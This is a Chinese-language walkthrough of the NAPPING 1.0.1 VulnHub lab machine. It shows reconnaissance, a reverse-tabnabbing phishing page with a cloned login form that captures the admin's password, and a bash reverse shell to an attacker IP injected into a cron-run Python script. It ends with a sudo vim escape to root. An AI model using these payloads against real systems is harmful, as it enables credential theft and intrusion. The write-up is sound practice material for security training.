vulnhub靶場|NAPPING: 1.0.1
準備:
攻擊機:虛擬機kali、本機win10。
靶機:NAPPING: 1.0.1,地址我這裡設置的橋接,,下載地址://download.vulnhub.com/napping/napping-1.0.1.ova.torrent,下載後直接VirtualBox打開,如果使用vm打開可能會存在ip問題。
涉及的知識點:vim提權、Tabnabbing漏洞利用、shell反彈。
信息收集:
先掃描以下網段內的主機ip,獲取下靶機的ip地址:nmap 192.168.1.0/24。
使用nmap掃描靶機開放端口對應的具體服務信息,命令:nmap -T4 -sV -p- -A 192.168.1.4。
使用目錄掃描工具對目錄進行掃描,這裡使用的是dirmap,命令:python dirmap.py -i //192.168.1.4/ -lcf,發現index.php、config.php等文件,但是config.php顯示是空白。
靶機開放了80端口,請求下://192.168.1.4/,查看下web端,發現是一個登錄界面,進行了簡單的注入測試,但是未成功,那就先註冊一個:admin/admin123進行登錄。
註冊登錄之後的界面:
這裡告訴我們可以發送自定義鏈接並且這個鏈接會被管理員檢查,我們先發送一個//www.baidu.com/進行提交測試,發現會生成一個指向百度的超鏈接並且在其代碼中發現a標籤中只有target=_blank,而沒有使用rel=”noopener/noreferrer”屬性,因此這裡可能存在Tabnabbing漏洞(釣魚攻擊)。
漏洞攻擊:
關於漏洞的利用原理,這裡用一個圖說明以下,這裡的超鏈接B就是我們輸入要提交的鏈接,界面C是靶機80端口的登錄界面,這樣我們才可以誘導管理員賬戶登錄我們偽造的界面,獲取到管理員的賬戶信息。
首先製作惡意界面upfine.html,代碼信息:
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('//192.168.1.12:6688/get_info.html');
if(window.opener != window) window.opener.parent.location.replace('//192.168.1.12::6688/get_info.html');
</script>
</body>
</html>
然後退出登錄在登錄界面檢查源代碼信息並進行複製,生成get_info.html,代碼信息如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
body{ font: 14px sans-serif; }
.wrapper{ width: 360px; padding: 20px; }
</style>
</head>
<body>
<div class="wrapper">
<h2>Login</h2>
<p>Please fill in your credentials to login.</p>
<form action="/index.php" method="post">
<div class="form-group">
<label>Username</label>
<input type="text" name="username" class="form-control " value="">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<label>Password</label>
<input type="password" name="password" class="form-control ">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="Login">
</div>
<p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
</form>
</div>
</body>
</html>
然後將製作的upfine.html頁面和get_info.html頁面放入到kali中的一個目錄下並開啟web服務:python -m http.server 80,同時開啟對6688端口的監聽:nc -lvvp 6688,然後將//192.168.1.12/upfine.html地址進行提交,監聽窗口成功獲得賬戶名和密碼(%40是@):daniel/C@ughtm3napping123。
ssh遠程登錄:
獲得賬戶密碼之後採用xshell進行遠程登錄。
提權:
ssh登錄查看id時發現其屬於administrators組,因此查一下此用戶組下可以運行的程序,命令:find / -group administrators 2>/dev/null,發現/home/adrian/query.py文件。
發現site_status.txt文件每兩分鐘寫入一次,就表明query.py每兩分鐘執行一次,因此我們就可以寫入反彈shell的腳本來讓query.py腳本進行執行,獲取更高的權限的shell。
在/home/daniel下寫入shell.sh文件,文件內容如下:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'
然後在query.py文件中添加對shell.sh腳本的執行,內容如下:
import os
os.system('/usr/bin/bash /home/daniel/shell.sh')
在kali端開啟對8899端口的監聽,成功獲取到adrina用戶的shell權限。
VIM提權:
在adrian用戶的shell里執行sudo -l發現vim權限可以不需要root密碼即可執行,那就使用vim直接寫入shell,命令:sudo vim -c ‘:!/bin/bash’,成功獲取root權限shell。
通過:python3 -c ‘import pty;pty.spawn(“/bin/bash”)’升級下shell。